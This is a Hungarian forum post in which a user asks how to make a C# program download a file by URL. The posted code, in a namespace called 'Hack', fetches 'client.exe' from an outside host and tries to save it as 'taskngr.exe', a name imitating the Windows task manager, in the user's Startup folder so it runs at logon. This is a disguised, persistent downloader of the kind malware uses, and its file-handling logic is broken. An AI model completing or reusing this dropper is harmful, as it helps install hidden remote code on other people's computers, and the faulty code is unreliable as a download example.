Új hozzászólás Aktív témák

  • Dinter

    addikt

    Sziasztok. Azt szeretném megcsinálni, hogy a program a netről URL alapján letöltsön a gépre egy fájlt. Nekem azt mondták, hogy először létrehozod, majd bele kell írni. Nos itt a forráskód:

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.IO;
    using System.Net;


    namespace Hack
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }

    private void label1_Click(object sender, EventArgs e)
    {

    }

    private void button1_Click(object sender, EventArgs e)
    {

    }

    private void label3_Click(object sender, EventArgs e)
    {

    }
    }
    class Letrehozas
    {
    public static void Letoltes()
    {
    StreamWriter file = new StreamWriter(Application.UserAppDataPath + "\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\taskngr.exe");
    File.Create(Download("http://dinter.atw.hu/client.exe"));
    file.Close();
    }


    public static string Download(string uri)
    {
    WebClient client = new WebClient();

    Stream data = client.OpenRead(uri);
    StreamReader reader = new StreamReader(data);
    string s = reader.ReadToEnd();
    data.Close();
    reader.Close();
    return s;
    }

    }
    }

    Próbáltam rendszergazdaként és nélküle is indítani a programot. Külön lejön a program.

Új hozzászólás Aktív témák